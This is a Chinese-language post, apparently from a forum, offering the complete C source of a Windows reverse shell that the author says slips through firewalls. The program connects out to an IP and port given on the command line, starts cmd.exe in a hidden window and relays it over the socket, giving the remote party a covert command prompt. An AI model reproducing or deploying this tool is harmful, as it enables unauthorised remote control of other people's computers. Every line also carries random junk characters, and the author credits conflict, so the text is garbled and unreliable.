这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yT:2*sZRc
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/* ============================== ,8zJD&HMx
Rebound port in Windows NT i%!<9D~n
By wind,2006/7 [PN2^
===============================*/ ];CIo>
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#include eV%{XR?y
#include auGK2i
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#pragma comment(lib,"wsock32.lib") xyo~p,(~t
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void OutputShell(); &~;M16XM,e
SOCKET sClient; bp/l~h.7W
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #do%u"q
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void main(int argc,char **argv) &_]G0~e
{ NL:dyV}
WSADATA stWsaData; &*o4~6pQ#
int nRet; 5MG4S
SOCKADDR_IN stSaiClient,stSaiServer; ` Ft-1eE
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if(argc != 3) `oe=K{aX
{ //N="9)@
printf("Useage:\n\rRebound DestIP DestPort\n"); WL(Y1>|j
return; <o9i;[+H-
} gJp6ReZ#
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Z}
WSAStartup(MAKEWORD(2,2),&stWsaData); T*@o?U
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D?%[du:V
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stSaiClient.sin_family = AF_INET; VMF?qT3Nd
stSaiClient.sin_port = htons(0); ]@21K O
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $@kOMT
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qi/k`T
{ W%5))R$
printf("Bind Socket Failed!\n"); > dVhIbG
return; [>>_%T\I
} x] `F#5j
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stSaiServer.sin_family = AF_INET; Kg~D~
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e}-fGtFx
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 66-\}8f8a
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,<!*@xy7v
{ `%~}p7Zu
printf("Connect Error!"); z9&j
return; 3]'ab-,Vp
} t$,G%micj
OutputShell(); zOA~<fhT
} J~J+CGT~2
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void OutputShell() !"<rlB,J
{ \:@7)(p\;
char szBuff[1024]; i`f!) 1
SECURITY_ATTRIBUTES stSecurityAttributes; G6{'|CV
OSVERSIONINFO stOsversionInfo; M
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wO.d;SK
STARTUPINFO stStartupInfo; 7bbFUUUG"
char *szShell; PX?%}~
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PROCESS_INFORMATION stProcessInformation; 9;I%Dv
unsigned long lBytesRead; CAvi P61T
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); doTbol?+
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >Vx_Xv`Jwb
stSecurityAttributes.lpSecurityDescriptor = 0; byE0Z vDM
stSecurityAttributes.bInheritHandle = TRUE; LH}9&FfjU
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I)#8}[vK
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rSt5@f?
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m;4ti9
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _(?`eWo
stStartupInfo.wShowWindow = SW_HIDE; K_ymA,&()
stStartupInfo.hStdInput = hReadPipe; :sK4mR F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l]D$QT3
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GetVersionEx(&stOsversionInfo); j&/+/s9N
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switch(stOsversionInfo.dwPlatformId) (Nz`w
{ "CC"J(&a
case 1: 8pA<1H%
szShell = "command.com"; &`s{-<t<L
break; 55ec23m
default: N;YFr
szShell = "cmd.exe"; fsK=]~<g
break; {5
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} oV['%Z'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Oq% TW|a#
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send(sClient,szMsg,77,0); 3QZm
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while(1) UkD\ma
{ [O ^/"Qk
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T=~d.&J
if(lBytesRead) /N%i6t<xU
{ li?@BHEf
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +\%]<YO
send(sClient,szBuff,lBytesRead,0); g i/k#3_m
} Iv3yDL;
else S?`0,F
{ r)-{~JA!
lBytesRead=recv(sClient,szBuff,1024,0); Jb$G
if(lBytesRead<=0) break; f^hJA Z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z]hRc8g}d
} ?mC'ZYQI
} #r"|%nOfY
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return; 2DsP "q79k
}